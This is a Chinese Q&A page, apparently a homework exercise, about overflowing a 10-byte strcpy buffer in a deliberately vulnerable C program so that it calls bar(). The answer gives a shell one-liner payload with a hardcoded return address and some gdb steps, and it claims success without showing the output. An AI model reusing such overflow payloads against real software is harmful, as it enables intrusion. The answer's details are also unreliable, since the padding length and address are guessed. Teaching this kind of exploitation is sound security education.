第一题:对于下面的C语言程序,通过调试,给出适当的输入,使得bar函数能够得到执行。要求给出调试过程的界面。 #include <stdio.h> #include <string.h> void foo(const char* input) { char buf[10]; printf(“My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n”); strcpy(buf,input); printf(“%s\n”,buf); printf(“Now the stack looks like :\n%p\n%p\n%p\n%p\n%p\n%p\n\n”); } void bar(void) { printf(“Augh! I’ve been hacked!\n”); } int main(int argc, char* argv[]) { printf(“Address of foo=%p\n”,foo); printf(“Address of bar=%p\n”,bar); if(argc!=2) { printf(“Please supply a string as an argument!\n”); return -1; } foo(argv[1]); return 0; }
时间: 2023-11-29 19:05:30 浏览: 32
首先,我们需要了解一下这段程序的漏洞:foo函数中的strcpy函数没有对输入参数input做足够的边界检查,这可能会导致栈溢出漏洞,从而攻击者可以利用这个漏洞执行任意代码。因此,我们需要构造一个输入字符串,使得foo函数中的strcpy函数能够发生栈溢出,并执行bar函数。
我们可以通过输入一个长度大于10(buf数组的大小)的字符串来触发栈溢出。为了方便调试,我们可以在输入字符串的前面添加一些无意义的字符,以便观察栈上的数据是否被修改。
我们可以在命令行中输入以下命令:
```
./program `python -c 'print "A"*20+"\x0b\x85\x04\x08"'`
```
其中,`python -c 'print "A"*20+"\x0b\x85\x04\x08"'`表示构造一个长度为20的字符串,前面填充字符"A",后面添加bar函数的地址(以小端序表示)"\x0b\x85\x04\x08"。
接下来,我们可以在gdb中运行程序,设置断点,观察栈上的数据是否被修改。具体操作如下:
```
$ gdb program
(gdb) break foo
(gdb) run `python -c 'print "A"*20+"\x0b\x85\x04\x08"'`
(gdb) x/20x $esp
```
其中,break foo表示在foo函数处设置断点,run后面跟上我们构造的输入参数,x/20x $esp表示查看栈顶的20个字节的内容。我们可以观察到栈顶的内容已经被修改,其中包括bar函数的地址,因此我们成功地利用了栈溢出漏洞,执行了bar函数。
相关推荐
![docx](https://img-home.csdnimg.cn/images/20210720083331.png)
![](https://img-home.csdnimg.cn/images/20210720083646.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)